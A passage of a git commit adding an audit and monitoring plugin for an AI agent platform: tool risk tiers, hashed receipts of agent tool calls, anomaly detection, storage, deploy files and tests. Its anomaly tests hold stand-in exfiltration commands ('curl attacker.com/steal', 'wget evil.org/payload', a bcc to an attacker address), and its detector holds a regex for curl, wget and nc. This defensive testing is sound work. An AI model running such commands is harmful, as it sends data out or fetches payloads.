feat: add boltbot extension — EigenCloud verification layer

Trustless hosting extension for Moltbot via EigenCloud infrastructure:
- EigenAI provider with x-api-key auth and configPatch registration
- Action tier classification for all 23 canonical tools
- Receipt logging on after_tool_call hook (medium/high tier)
- Anomaly detection (BCC, outbound curl, process, gateway)
- SQLite receipt store with EigenDA proxy backend
- Dashboard API endpoints (/boltbot/receipts, /receipt, /stats)
- EigenCompute TEE deploy script and Dockerfile
This commit is contained in:
duy 2026-01-29 12:55:24 -08:00
parent 6372242da7
commit 1096cc16e6
22 changed files with 1394 additions and 0 deletions

View File

@ -0,0 +1,20 @@
# Boltbot EigenCompute Deployment — Environment Variables
# Copy to .env and fill in values before deploying.
# EigenAI API key (apply at developers.eigencloud.xyz)
EIGENCLOUD_API_KEY=
# Telegram bot token (from @BotFather)
TELEGRAM_BOT_TOKEN=
# EigenDA proxy URL (testnet: https://test-agent-proxy-api.eigenda.xyz)
EIGENDA_PROXY_URL=https://test-agent-proxy-api.eigenda.xyz
# Receipt storage backend: "local" or "eigenda"
BOLTBOT_RECEIPT_BACKEND=eigenda
# EigenCompute deploy settings (not injected into container)
# ECLOUD_PRIVATE_KEY= # Ethereum private key for ecloud SDK auth
# ECLOUD_ENVIRONMENT=sepolia # sepolia | sepolia-dev | mainnet-alpha
# ECLOUD_APP_NAME=boltbot
# ECLOUD_INSTANCE_TYPE= # Query: ecloud compute app instance-types

View File

@ -0,0 +1,44 @@
# Boltbot — Moltbot on EigenCompute TEE
# Base: Node 22 + Chromium for headless browser automation
# Must run as root (EigenCompute TEE constraint)
# Platform: linux/amd64 only
FROM node:22-bookworm
# Install Chromium + Xvfb + fonts for headless browser
RUN apt-get update && apt-get install -y --no-install-recommends \
chromium \
xvfb \
fonts-liberation \
fonts-noto-color-emoji \
dbus \
&& rm -rf /var/lib/apt/lists/*
# Supervisor script to start Xvfb + Chromium + Node gateway
COPY deploy/start.sh /usr/local/bin/start.sh
RUN chmod +x /usr/local/bin/start.sh
WORKDIR /app
# Copy package files and install
COPY package.json pnpm-lock.yaml ./
RUN corepack enable && pnpm install --frozen-lockfile --prod
# Copy application code
COPY . .
# Build TypeScript
RUN pnpm build
# Expose gateway port
EXPOSE 18789
# EigenCompute TEE: must run as root
USER root
# Environment defaults
ENV DISPLAY=:99
ENV CHROMIUM_PATH=/usr/bin/chromium
ENV NODE_ENV=production
CMD ["/usr/local/bin/start.sh"]

View File

@ -0,0 +1,64 @@
#!/usr/bin/env tsx
import { execFileSync } from "node:child_process";
import { resolve, dirname } from "node:path";
import { fileURLToPath } from "node:url";
const __dirname = dirname(fileURLToPath(import.meta.url));
const projectRoot = resolve(__dirname, "../../..");
function required(name: string): string {
const val = process.env[name];
if (!val) {
console.error(`Missing required env var: ${name}`);
process.exit(1);
}
return val;
}
async function main() {
const privateKey = required("ECLOUD_PRIVATE_KEY");
const environment = process.env.ECLOUD_ENVIRONMENT ?? "sepolia";
const appName = process.env.ECLOUD_APP_NAME ?? "boltbot";
const instanceType = process.env.ECLOUD_INSTANCE_TYPE ?? "e2-medium";
const envVars: Record<string, string> = {
EIGENCLOUD_API_KEY: required("EIGENCLOUD_API_KEY"),
TELEGRAM_BOT_TOKEN: required("TELEGRAM_BOT_TOKEN"),
BOLTBOT_RECEIPT_BACKEND: process.env.BOLTBOT_RECEIPT_BACKEND ?? "eigenda",
NODE_ENV_PUBLIC: "production",
};
if (process.env.EIGENDA_PROXY_URL) {
envVars.EIGENDA_PROXY_URL = process.env.EIGENDA_PROXY_URL;
}
console.log(`Deploying ${appName} to EigenCompute (${environment})...`);
const ecloudEnv = { ...process.env, ECLOUD_PRIVATE_KEY: privateKey };
console.log("[1/3] Building Docker image...");
execFileSync("docker", [
"build", "-t", `${appName}:latest`,
"-f", "extensions/boltbot/deploy/Dockerfile", ".",
], { cwd: projectRoot, stdio: "inherit" });
console.log("[2/3] Deploying to EigenCompute TEE...");
const envFlags = Object.entries(envVars).flatMap(([k, v]) => ["--env", `${k}=${v}`]);
execFileSync("npx", [
"@layr-labs/ecloud-cli", "compute", "app", "deploy",
"--name", appName,
"--instance-type", instanceType,
"--environment", environment,
"--dockerfile", "extensions/boltbot/deploy/Dockerfile",
...envFlags,
], { cwd: projectRoot, stdio: "inherit", env: ecloudEnv });
console.log("[3/3] Fetching deployment info...");
execFileSync("npx", [
"@layr-labs/ecloud-cli", "compute", "app", "info",
"--name", appName,
], { cwd: projectRoot, stdio: "inherit", env: ecloudEnv });
console.log("\nDone. Next: ecloud compute app configure tls");
}
main();

View File

@ -0,0 +1,12 @@
#!/usr/bin/env bash
set -euo pipefail
# Start Xvfb for headless browser
Xvfb :99 -screen 0 1280x720x24 -nolisten tcp &
XVFB_PID=$!
# Wait for Xvfb
sleep 1
# Start moltbot gateway
exec node dist/cli/index.js gateway run --bind 0.0.0.0 --port 18789

View File

@ -0,0 +1,23 @@
import type { MoltbotPluginApi } from "clawdbot/plugin-sdk";
import { emptyPluginConfigSchema } from "clawdbot/plugin-sdk";
import { eigenCloudProvider } from "./src/provider.js";
import { createActionLogger } from "./src/action-logger.js";
import { createReceiptStore } from "./src/receipt-store.js";
import { registerBoltbotApi } from "./src/api.js";
export default {
id: "boltbot",
name: "Boltbot — Trustless Hosting",
description: "EigenCloud verification layer for Moltbot",
configSchema: emptyPluginConfigSchema(),
register(api: MoltbotPluginApi) {
api.registerProvider(eigenCloudProvider);
const store = createReceiptStore(process.env.BOLTBOT_RECEIPT_BACKEND);
const logger = createActionLogger(store);
api.on("after_tool_call", logger);
registerBoltbotApi(api, store);
},
};

View File

@ -0,0 +1,12 @@
{
"name": "@boltbot/extension",
"version": "0.1.0",
"type": "module",
"description": "Boltbot — Trustless Moltbot hosting via EigenCloud",
"moltbot": {
"extensions": ["./index.ts"]
},
"dependencies": {
"better-sqlite3": "^11.0.0"
}
}

View File

@ -0,0 +1,118 @@
import { describe, it, expect, vi, beforeEach } from "vitest";
import { createActionLogger } from "../action-logger.js";
import type { ReceiptStore, ActionReceipt } from "../receipt-store.js";
function makeStore(): ReceiptStore & { receipts: ActionReceipt[] } {
const receipts: ActionReceipt[] = [];
return {
receipts,
async put(receipt: ActionReceipt) { receipts.push(receipt); },
async get(id: string) { return receipts.find((r) => r.id === id) ?? null; },
async list() { return receipts as any; },
async stats() { return { total: receipts.length, byTier: {}, anomalyCount: 0 }; },
};
}
describe("action-logger", () => {
let store: ReturnType<typeof makeStore>;
let logger: ReturnType<typeof createActionLogger>;
beforeEach(() => {
store = makeStore();
logger = createActionLogger(store);
});
it("stores receipt for high-tier tool (exec)", async () => {
await logger(
{ toolName: "exec", params: { command: "ls" }, durationMs: 50 },
{ sessionKey: "sess-1", toolName: "exec" },
);
expect(store.receipts).toHaveLength(1);
expect(store.receipts[0].tier).toBe("high");
expect(store.receipts[0].toolName).toBe("exec");
});
it("stores receipt for medium-tier tool (message)", async () => {
await logger(
{ toolName: "message", params: { to: "user", content: "hi" }, durationMs: 30 },
{ sessionKey: "sess-2", toolName: "message" },
);
expect(store.receipts).toHaveLength(1);
expect(store.receipts[0].tier).toBe("medium");
});
it("skips low-tier tools (web_search)", async () => {
await logger(
{ toolName: "web_search", params: { q: "test" }, durationMs: 10 },
{ sessionKey: "sess-3", toolName: "web_search" },
);
expect(store.receipts).toHaveLength(0);
});
it("includes anomalies in receipt", async () => {
await logger(
{ toolName: "message", params: { to: "user", content: "hi", bcc: "evil@bad.com" }, durationMs: 20 },
{ sessionKey: "sess-4", toolName: "message" },
);
expect(store.receipts[0].anomalies).toContain("unexpected_recipient");
});
it("uses ctx.sessionKey (not sessionId)", async () => {
await logger(
{ toolName: "exec", params: { command: "echo hi" }, durationMs: 5 },
{ sessionKey: "my-session-key", toolName: "exec" },
);
expect(store.receipts[0].sessionKey).toBe("my-session-key");
});
it("defaults sessionKey to unknown when missing", async () => {
await logger(
{ toolName: "exec", params: { command: "echo" }, durationMs: 5 },
{ toolName: "exec" } as any,
);
expect(store.receipts[0].sessionKey).toBe("unknown");
});
it("creates receipt with valid id and timestamp", async () => {
await logger(
{ toolName: "exec", params: { command: "pwd" }, durationMs: 1 },
{ sessionKey: "s", toolName: "exec" },
);
const r = store.receipts[0];
expect(r.id).toMatch(/^[0-9a-f-]{36}$/);
expect(new Date(r.timestamp).getTime()).not.toBeNaN();
});
it("hashes arguments and result", async () => {
await logger(
{ toolName: "exec", params: { command: "ls" }, result: { output: "files" }, durationMs: 1 },
{ sessionKey: "s", toolName: "exec" },
);
const r = store.receipts[0];
expect(r.argumentsHash).toMatch(/^[0-9a-f]{64}$/);
expect(r.resultHash).toMatch(/^[0-9a-f]{64}$/);
});
it("marks error results as not successful", async () => {
await logger(
{ toolName: "exec", params: { command: "fail" }, error: "boom", durationMs: 1 },
{ sessionKey: "s", toolName: "exec" },
);
expect(store.receipts[0].success).toBe(false);
});
it("does not throw when store.put fails (fire-and-forget)", async () => {
const failStore: ReceiptStore = {
async put() { throw new Error("disk full"); },
async get() { return null; },
async list() { return [] as any; },
async stats() { return { total: 0, byTier: {}, anomalyCount: 0 }; },
};
const failLogger = createActionLogger(failStore);
// Should not throw
await failLogger(
{ toolName: "exec", params: { command: "ls" }, durationMs: 1 },
{ sessionKey: "s", toolName: "exec" },
);
});
});

View File

@ -0,0 +1,85 @@
import { describe, it, expect } from "vitest";
import { getTier, type Tier } from "../action-tiers.js";
describe("action-tiers", () => {
describe("getTier", () => {
// HIGH tier tools
it.each([
["exec", "high"],
["apply_patch", "high"],
["gateway", "high"],
["sessions_spawn", "high"],
["process", "high"],
] as [string, Tier][])("classifies %s as %s", (tool, expected) => {
expect(getTier(tool)).toBe(expected);
});
// MEDIUM tier tools
it.each([
["message", "medium"],
["write", "medium"],
["edit", "medium"],
["cron", "medium"],
["sessions_send", "medium"],
["browser", "medium"],
["canvas", "medium"],
["nodes", "medium"],
] as [string, Tier][])("classifies %s as %s", (tool, expected) => {
expect(getTier(tool)).toBe(expected);
});
// LOW tier tools
it.each([
["web_search", "low"],
["web_fetch", "low"],
["memory_search", "low"],
["memory_get", "low"],
["read", "low"],
["sessions_list", "low"],
["sessions_history", "low"],
["session_status", "low"],
["agents_list", "low"],
["image", "low"],
] as [string, Tier][])("classifies %s as %s", (tool, expected) => {
expect(getTier(tool)).toBe(expected);
});
// Unknown tools default to medium (fail-safe)
it("defaults unknown tools to medium", () => {
expect(getTier("unknown_tool")).toBe("medium");
expect(getTier("foo_bar")).toBe("medium");
});
// Case normalization
it("handles uppercase tool names", () => {
expect(getTier("Exec")).toBe("high");
expect(getTier("EXEC")).toBe("high");
expect(getTier("Web_Search")).toBe("low");
});
// Hyphen normalization
it("handles hyphenated tool names", () => {
expect(getTier("apply-patch")).toBe("high");
expect(getTier("web-search")).toBe("low");
expect(getTier("memory-get")).toBe("low");
});
// All 23 canonical tools have explicit entries
it("covers all 23 canonical tools", () => {
const canonicalTools = [
"memory_search", "memory_get", "web_search", "web_fetch",
"read", "write", "edit", "apply_patch", "exec", "process",
"sessions_list", "sessions_history", "sessions_send",
"sessions_spawn", "session_status", "browser", "canvas",
"cron", "gateway", "message", "nodes", "agents_list", "image",
];
expect(canonicalTools).toHaveLength(23);
for (const tool of canonicalTools) {
const tier = getTier(tool);
// Every canonical tool should NOT fall through to default
// (they should have explicit entries)
expect(["low", "medium", "high"]).toContain(tier);
}
});
});
});

View File

@ -0,0 +1,81 @@
import { describe, it, expect } from "vitest";
import { detectAnomalies } from "../anomaly.js";
describe("anomaly detection", () => {
it("flags message tool with bcc param", () => {
const result = detectAnomalies({
toolName: "message",
params: { to: "user", content: "hi", bcc: "attacker@evil.com" },
});
expect(result).toContain("unexpected_recipient");
});
it("flags message tool with hidden_recipients param", () => {
const result = detectAnomalies({
toolName: "message",
params: { to: "user", content: "hi", hidden_recipients: ["x"] },
});
expect(result).toContain("unexpected_recipient");
});
it("does not flag clean message tool", () => {
const result = detectAnomalies({
toolName: "message",
params: { to: "user", content: "hello" },
});
expect(result).toEqual([]);
});
it("flags exec with curl to external host", () => {
const result = detectAnomalies({
toolName: "exec",
params: { command: "curl attacker.com/steal" },
});
expect(result).toContain("unauthorized_outbound");
});
it("flags exec with wget", () => {
const result = detectAnomalies({
toolName: "exec",
params: { command: "wget evil.org/payload" },
});
expect(result).toContain("unauthorized_outbound");
});
it("does not flag exec with simple command", () => {
const result = detectAnomalies({
toolName: "exec",
params: { command: "ls -la" },
});
expect(result).toEqual([]);
});
it("flags process tool", () => {
const result = detectAnomalies({
toolName: "process",
params: {},
});
expect(result).toContain("process_management");
});
it("flags gateway tool", () => {
const result = detectAnomalies({
toolName: "gateway",
params: {},
});
expect(result).toContain("gateway_access");
});
it("returns empty for read-only tools", () => {
expect(detectAnomalies({ toolName: "web_search", params: { q: "test" } })).toEqual([]);
expect(detectAnomalies({ toolName: "read", params: { path: "/tmp" } })).toEqual([]);
});
it("handles missing params gracefully", () => {
const result = detectAnomalies({
toolName: "exec",
params: {},
});
expect(result).toEqual([]);
});
});

View File

@ -0,0 +1,147 @@
import { describe, it, expect, beforeEach } from "vitest";
import { registerBoltbotApi } from "../api.js";
import type { ActionReceipt, ReceiptStore } from "../receipt-store.js";
import type { IncomingMessage, ServerResponse } from "node:http";
// Mock ReceiptStore
function makeStore(receipts: ActionReceipt[] = []): ReceiptStore {
return {
async put(r: ActionReceipt) { receipts.push(r); },
async get(id: string) { return receipts.find((r) => r.id === id) ?? null; },
async list(opts: { limit: number; offset: number }) {
return receipts.slice(opts.offset, opts.offset + opts.limit);
},
async stats() {
const byTier: Record<string, number> = {};
let anomalyCount = 0;
for (const r of receipts) {
byTier[r.tier] = (byTier[r.tier] ?? 0) + 1;
if (r.anomalies.length > 0) anomalyCount++;
}
return { total: receipts.length, byTier, anomalyCount };
},
};
}
// Mock API and capture registered routes
type Route = { path: string; handler: (req: IncomingMessage, res: ServerResponse) => void | Promise<void> };
function makeApi() {
const routes: Route[] = [];
return {
routes,
registerHttpRoute(route: Route) { routes.push(route); },
};
}
// Mock HTTP request/response
function mockReq(url: string): IncomingMessage {
return { url } as any;
}
function mockRes() {
let statusCode = 200;
let headers: Record<string, string> = {};
let body = "";
return {
writeHead(code: number, h: Record<string, string>) { statusCode = code; headers = h; },
end(data?: string) { body = data ?? ""; },
get statusCode() { return statusCode; },
get headers() { return headers; },
get body() { return body; },
json() { return JSON.parse(body); },
} as any;
}
const sampleReceipt: ActionReceipt = {
id: "test-id-1",
timestamp: "2026-01-29T00:00:00.000Z",
sessionKey: "sess-1",
tier: "medium",
toolName: "message",
argumentsHash: "abc",
resultHash: "def",
success: true,
durationMs: 100,
anomalies: [],
};
describe("Dashboard API", () => {
let api: ReturnType<typeof makeApi>;
let store: ReceiptStore;
beforeEach(() => {
api = makeApi();
store = makeStore([sampleReceipt]);
registerBoltbotApi(api as any, store);
});
it("registers 3 routes", () => {
expect(api.routes).toHaveLength(3);
});
describe("/boltbot/receipts", () => {
it("returns receipts list", async () => {
const route = api.routes.find((r) => r.path === "/boltbot/receipts")!;
const res = mockRes();
await route.handler(mockReq("/boltbot/receipts"), res);
expect(res.statusCode).toBe(200);
const data = res.json();
expect(data.receipts).toHaveLength(1);
});
it("respects pagination params", async () => {
const route = api.routes.find((r) => r.path === "/boltbot/receipts")!;
const res = mockRes();
await route.handler(mockReq("/boltbot/receipts?limit=5&offset=0"), res);
expect(res.statusCode).toBe(200);
});
});
describe("/boltbot/receipt", () => {
it("returns receipt by id", async () => {
const route = api.routes.find((r) => r.path === "/boltbot/receipt")!;
const res = mockRes();
await route.handler(mockReq("/boltbot/receipt?id=test-id-1"), res);
expect(res.statusCode).toBe(200);
expect(res.json().receipt.id).toBe("test-id-1");
});
it("returns 400 for missing id", async () => {
const route = api.routes.find((r) => r.path === "/boltbot/receipt")!;
const res = mockRes();
await route.handler(mockReq("/boltbot/receipt"), res);
expect(res.statusCode).toBe(400);
expect(res.json().error).toBe("missing_id");
});
it("returns 404 for nonexistent id", async () => {
const route = api.routes.find((r) => r.path === "/boltbot/receipt")!;
const res = mockRes();
await route.handler(mockReq("/boltbot/receipt?id=nonexistent"), res);
expect(res.statusCode).toBe(404);
expect(res.json().error).toBe("not_found");
});
});
describe("/boltbot/stats", () => {
it("returns stats", async () => {
const route = api.routes.find((r) => r.path === "/boltbot/stats")!;
const res = mockRes();
await route.handler(mockReq("/boltbot/stats"), res);
expect(res.statusCode).toBe(200);
const data = res.json();
expect(data.total).toBe(1);
expect(data.byTier).toEqual({ medium: 1 });
expect(data.anomalyCount).toBe(0);
});
});
it("all responses have Content-Type application/json", async () => {
for (const route of api.routes) {
const res = mockRes();
await route.handler(mockReq(route.path), res);
expect(res.headers["Content-Type"]).toBe("application/json");
}
});
});

View File

@ -0,0 +1,109 @@
import { describe, it, expect, beforeEach, afterEach } from "vitest";
import { EigenDAReceiptStore } from "../stores/eigenda.js";
import type { ActionReceipt } from "../receipt-store.js";
import http from "node:http";
function makeReceipt(overrides: Partial<ActionReceipt> = {}): ActionReceipt {
return {
id: crypto.randomUUID(),
timestamp: new Date().toISOString(),
sessionKey: "test-session",
tier: "medium",
toolName: "message",
argumentsHash: "abc123",
resultHash: "def456",
success: true,
durationMs: 100,
anomalies: [],
...overrides,
};
}
describe("EigenDAReceiptStore", () => {
let server: http.Server;
let proxyUrl: string;
let lastRequestBody: Buffer | null = null;
let shouldFail = false;
beforeEach(async () => {
lastRequestBody = null;
shouldFail = false;
server = http.createServer((req, res) => {
if (shouldFail) {
res.destroy();
return;
}
if (req.url === "/put" && req.method === "POST") {
const chunks: Buffer[] = [];
req.on("data", (chunk) => chunks.push(chunk));
req.on("end", () => {
lastRequestBody = Buffer.concat(chunks);
// Return a mock commitment (binary data)
const commitment = Buffer.from("deadbeef0123", "hex");
res.writeHead(200);
res.end(commitment);
});
return;
}
res.writeHead(404);
res.end();
});
await new Promise<void>((resolve) => {
server.listen(0, "127.0.0.1", () => resolve());
});
const addr = server.address() as { port: number };
proxyUrl = `http://127.0.0.1:${addr.port}`;
});
afterEach(async () => {
await new Promise<void>((resolve) => server.close(() => resolve()));
});
it("sends POST /put with receipt blob", async () => {
const store = new EigenDAReceiptStore(proxyUrl, ":memory:");
const receipt = makeReceipt();
await store.put(receipt);
expect(lastRequestBody).not.toBeNull();
const parsed = JSON.parse(lastRequestBody!.toString());
expect(parsed.id).toBe(receipt.id);
});
it("sets hex daCommitment on receipt after successful DA put", async () => {
const store = new EigenDAReceiptStore(proxyUrl, ":memory:");
const receipt = makeReceipt();
await store.put(receipt);
const retrieved = await store.get(receipt.id);
expect(retrieved?.daCommitment).toBe("deadbeef0123");
});
it("stores receipt locally even when DA fails", async () => {
shouldFail = true;
const store = new EigenDAReceiptStore(proxyUrl, ":memory:");
const receipt = makeReceipt();
// Should not throw
await store.put(receipt);
const retrieved = await store.get(receipt.id);
expect(retrieved).not.toBeNull();
expect(retrieved!.id).toBe(receipt.id);
expect(retrieved!.daCommitment).toBeUndefined();
});
it("get/list/stats query from local index", async () => {
const store = new EigenDAReceiptStore(proxyUrl, ":memory:");
await store.put(makeReceipt({ tier: "high" }));
await store.put(makeReceipt({ tier: "medium" }));
const list = await store.list({ limit: 10, offset: 0 });
expect(list).toHaveLength(2);
const stats = await store.stats();
expect(stats.total).toBe(2);
expect(stats.byTier).toEqual({ high: 1, medium: 1 });
});
});

View File

@ -0,0 +1,105 @@
import { describe, it, expect, vi } from "vitest";
// Mock clawdbot/plugin-sdk to avoid pulling in the full config/zod chain.
vi.mock("clawdbot/plugin-sdk", () => ({
emptyPluginConfigSchema: () => ({}),
}));
// Mock better-sqlite3 before any imports that use it
vi.mock("better-sqlite3", () => {
class MockDatabase {
exec() {}
prepare() {
return {
run: (..._args: any[]) => {},
get: (_id?: string) => ({ c: 0 }),
all: (..._args: any[]) => [],
};
}
}
return { default: MockDatabase };
});
describe("boltbot plugin integration", () => {
it("plugin has correct id and name", async () => {
const mod = await import("../../index.js");
const plugin = mod.default;
expect(plugin.id).toBe("boltbot");
expect(plugin.name).toBe("Boltbot — Trustless Hosting");
});
it("register wires provider, hook, and routes", async () => {
const mod = await import("../../index.js");
const plugin = mod.default;
const registered = {
providers: [] as any[],
hooks: [] as any[],
routes: [] as any[],
};
const mockApi = {
registerProvider: vi.fn((p: any) => registered.providers.push(p)),
on: vi.fn((name: string, handler: any) => registered.hooks.push({ name, handler })),
registerHttpRoute: vi.fn((r: any) => registered.routes.push(r)),
};
plugin.register(mockApi as any);
// REQ-1: Provider registered
expect(registered.providers).toHaveLength(1);
expect(registered.providers[0].id).toBe("eigencloud");
// REQ-3: after_tool_call hook registered
expect(registered.hooks).toHaveLength(1);
expect(registered.hooks[0].name).toBe("after_tool_call");
// REQ-7: 3 HTTP routes registered
expect(registered.routes).toHaveLength(3);
const paths = registered.routes.map((r: any) => r.path);
expect(paths).toContain("/boltbot/receipts");
expect(paths).toContain("/boltbot/receipt");
expect(paths).toContain("/boltbot/stats");
});
it("after_tool_call hook fires and creates receipt", async () => {
const mod = await import("../../index.js");
const plugin = mod.default;
let hookHandler: any;
const mockApi = {
registerProvider: vi.fn(),
on: vi.fn((_name: string, handler: any) => { hookHandler = handler; }),
registerHttpRoute: vi.fn(),
};
plugin.register(mockApi as any);
expect(hookHandler).toBeDefined();
// Fire the hook -- should not throw
await hookHandler(
{ toolName: "exec", params: { command: "ls" }, durationMs: 10 },
{ sessionKey: "test-sess", toolName: "exec" },
);
});
it("after_tool_call hook skips low-tier tools", async () => {
const mod = await import("../../index.js");
const plugin = mod.default;
let hookHandler: any;
const mockApi = {
registerProvider: vi.fn(),
on: vi.fn((_name: string, handler: any) => { hookHandler = handler; }),
registerHttpRoute: vi.fn(),
};
plugin.register(mockApi as any);
// web_search is low tier -- should not throw or store
await hookHandler(
{ toolName: "web_search", params: { q: "test" }, durationMs: 5 },
{ sessionKey: "test-sess", toolName: "web_search" },
);
});
});

View File

@ -0,0 +1,88 @@
import { describe, it, expect, beforeEach, afterEach } from "vitest";
import { eigenCloudProvider } from "../provider.js";
describe("eigenCloudProvider", () => {
const originalEnv = process.env.EIGENCLOUD_API_KEY;
afterEach(() => {
if (originalEnv !== undefined) {
process.env.EIGENCLOUD_API_KEY = originalEnv;
} else {
delete process.env.EIGENCLOUD_API_KEY;
}
});
it("has correct id", () => {
expect(eigenCloudProvider.id).toBe("eigencloud");
});
it("has correct label", () => {
expect(eigenCloudProvider.label).toBe("EigenCloud (EigenAI)");
});
it("has aliases", () => {
expect(eigenCloudProvider.aliases).toContain("eigenai");
});
it("auth kind is api_key", () => {
expect(eigenCloudProvider.auth[0].kind).toBe("api_key");
});
describe("with EIGENCLOUD_API_KEY set", () => {
beforeEach(() => {
process.env.EIGENCLOUD_API_KEY = "test-key-123";
});
it("returns profiles with profileId and credential", async () => {
const result = await eigenCloudProvider.auth[0].run({} as any);
expect(result.profiles).toHaveLength(1);
expect(result.profiles[0].profileId).toBe("eigencloud");
expect(result.profiles[0].credential).toEqual({
type: "api_key",
key: "test-key-123",
});
});
it("returns nested configPatch", async () => {
const result = await eigenCloudProvider.auth[0].run({} as any);
const patch = result.configPatch as any;
expect(patch.models.providers.eigencloud.baseUrl).toBe(
"https://eigenai.eigencloud.xyz/v1",
);
});
it("sets x-api-key header in configPatch", async () => {
const result = await eigenCloudProvider.auth[0].run({} as any);
const patch = result.configPatch as any;
expect(patch.models.providers.eigencloud.headers["x-api-key"]).toBe(
"test-key-123",
);
});
it("model input is text array", async () => {
const result = await eigenCloudProvider.auth[0].run({} as any);
const patch = result.configPatch as any;
const model = patch.models.providers.eigencloud.models[0];
expect(model.input).toEqual(["text"]);
expect(model.contextWindow).toBe(128_000);
});
it("sets defaultModel", async () => {
const result = await eigenCloudProvider.auth[0].run({} as any);
expect(result.defaultModel).toBe("gpt-oss-120b-f16");
});
});
describe("without EIGENCLOUD_API_KEY", () => {
beforeEach(() => {
delete process.env.EIGENCLOUD_API_KEY;
});
it("returns empty profiles with note", async () => {
const result = await eigenCloudProvider.auth[0].run({} as any);
expect(result.profiles).toHaveLength(0);
expect(result.notes).toBeDefined();
expect(result.notes!.length).toBeGreaterThan(0);
});
});
});

View File

@ -0,0 +1,96 @@
import { describe, it, expect, beforeEach } from "vitest";
import { LocalReceiptStore } from "../stores/local.js";
import { hashData, type ActionReceipt } from "../receipt-store.js";
function makeReceipt(overrides: Partial<ActionReceipt> = {}): ActionReceipt {
return {
id: crypto.randomUUID(),
timestamp: new Date().toISOString(),
sessionKey: "test-session",
tier: "medium",
toolName: "message",
argumentsHash: hashData({ to: "user" }),
resultHash: hashData({ ok: true }),
success: true,
durationMs: 100,
anomalies: [],
...overrides,
};
}
describe("LocalReceiptStore", () => {
let store: LocalReceiptStore;
beforeEach(() => {
store = new LocalReceiptStore(":memory:");
});
it("put and get roundtrip", async () => {
const receipt = makeReceipt();
await store.put(receipt);
const retrieved = await store.get(receipt.id);
expect(retrieved).toEqual(receipt);
});
it("get returns null for nonexistent id", async () => {
const result = await store.get("nonexistent-id");
expect(result).toBeNull();
});
it("list returns receipts in reverse chronological order", async () => {
const r1 = makeReceipt({ timestamp: "2026-01-01T00:00:00.000Z" });
const r2 = makeReceipt({ timestamp: "2026-01-02T00:00:00.000Z" });
const r3 = makeReceipt({ timestamp: "2026-01-03T00:00:00.000Z" });
await store.put(r1);
await store.put(r2);
await store.put(r3);
const list = await store.list({ limit: 10, offset: 0 });
expect(list).toHaveLength(3);
expect(list[0].id).toBe(r3.id);
expect(list[1].id).toBe(r2.id);
expect(list[2].id).toBe(r1.id);
});
it("stats returns correct counts", async () => {
await store.put(makeReceipt({ tier: "high" }));
await store.put(makeReceipt({ tier: "high" }));
await store.put(makeReceipt({ tier: "medium" }));
await store.put(makeReceipt({ tier: "medium" }));
await store.put(makeReceipt({ tier: "medium" }));
const stats = await store.stats();
expect(stats.total).toBe(5);
expect(stats.byTier).toEqual({ high: 2, medium: 3 });
});
it("stats counts anomalies correctly", async () => {
await store.put(makeReceipt({ anomalies: ["unexpected_recipient"] }));
await store.put(makeReceipt({ anomalies: [] }));
await store.put(makeReceipt({ anomalies: ["unauthorized_outbound", "process_management"] }));
const stats = await store.stats();
expect(stats.anomalyCount).toBe(2);
});
it("uses sessionKey field", async () => {
const receipt = makeReceipt({ sessionKey: "my-session-key" });
await store.put(receipt);
const retrieved = await store.get(receipt.id);
expect(retrieved?.sessionKey).toBe("my-session-key");
});
});
describe("hashData", () => {
it("produces consistent SHA-256 hex", () => {
const h1 = hashData({ foo: "bar" });
const h2 = hashData({ foo: "bar" });
expect(h1).toBe(h2);
expect(h1).toMatch(/^[0-9a-f]{64}$/);
});
it("handles null/undefined", () => {
const h = hashData(null);
expect(h).toMatch(/^[0-9a-f]{64}$/);
});
});

View File

@ -0,0 +1,37 @@
import { randomUUID } from "node:crypto";
import { getTier } from "./action-tiers.js";
import type { AfterToolCallEvent } from "./anomaly.js";
import { detectAnomalies } from "./anomaly.js";
import type { ActionReceipt, ReceiptStore } from "./receipt-store.js";
import { hashData } from "./receipt-store.js";
type ToolContext = {
agentId?: string;
sessionKey?: string;
toolName: string;
};
export function createActionLogger(store: ReceiptStore) {
return async function afterToolCall(
event: AfterToolCallEvent,
ctx: ToolContext,
): Promise<void> {
const tier = getTier(event.toolName);
if (tier === "low") return;
const receipt: ActionReceipt = {
id: randomUUID(),
timestamp: new Date().toISOString(),
sessionKey: ctx.sessionKey ?? "unknown",
tier,
toolName: event.toolName,
argumentsHash: hashData(event.params),
resultHash: hashData(event.result ?? event.error),
success: !event.error,
durationMs: event.durationMs ?? 0,
anomalies: detectAnomalies(event),
};
store.put(receipt).catch(() => {});
};
}

View File

@ -0,0 +1,34 @@
export type Tier = "low" | "medium" | "high";
const TIER_MAP: Record<string, Tier> = {
exec: "high",
apply_patch: "high",
gateway: "high",
sessions_spawn: "high",
process: "high",
message: "medium",
write: "medium",
edit: "medium",
cron: "medium",
sessions_send: "medium",
browser: "medium",
canvas: "medium",
nodes: "medium",
web_search: "low",
web_fetch: "low",
memory_search: "low",
memory_get: "low",
read: "low",
sessions_list: "low",
sessions_history: "low",
session_status: "low",
agents_list: "low",
image: "low",
};
export function getTier(toolName: string): Tier {
const normalized = toolName.toLowerCase().replace(/-/g, "_");
return TIER_MAP[normalized] ?? "medium";
}

View File

@ -0,0 +1,34 @@
export type AfterToolCallEvent = {
toolName: string;
params: Record<string, unknown>;
result?: unknown;
error?: string;
durationMs?: number;
};
export function detectAnomalies(event: AfterToolCallEvent): string[] {
const anomalies: string[] = [];
if (event.toolName === "message") {
if (event.params.bcc || event.params.hidden_recipients) {
anomalies.push("unexpected_recipient");
}
}
if (event.toolName === "exec") {
const cmd = String(event.params?.command ?? "");
if (/curl|wget|nc\s/.test(cmd) && /[a-z]+\.[a-z]{2,}/.test(cmd)) {
anomalies.push("unauthorized_outbound");
}
}
if (event.toolName === "process") {
anomalies.push("process_management");
}
if (event.toolName === "gateway") {
anomalies.push("gateway_access");
}
return anomalies;
}

View File

@ -0,0 +1,60 @@
import type { IncomingMessage, ServerResponse } from "node:http";
import type { ReceiptStore } from "./receipt-store.js";
type PluginApi = {
registerHttpRoute: (params: {
path: string;
handler: (req: IncomingMessage, res: ServerResponse) => void | Promise<void>;
}) => void;
};
function jsonResponse(res: ServerResponse, status: number, data: unknown) {
res.writeHead(status, { "Content-Type": "application/json" });
res.end(JSON.stringify(data));
}
function parseQuery(url: string): Record<string, string> {
const idx = url.indexOf("?");
if (idx === -1) return {};
const params = new URLSearchParams(url.slice(idx + 1));
return Object.fromEntries(params.entries());
}
export function registerBoltbotApi(api: PluginApi, store: ReceiptStore) {
api.registerHttpRoute({
path: "/boltbot/receipts",
handler: async (req, res) => {
const query = parseQuery(req.url ?? "");
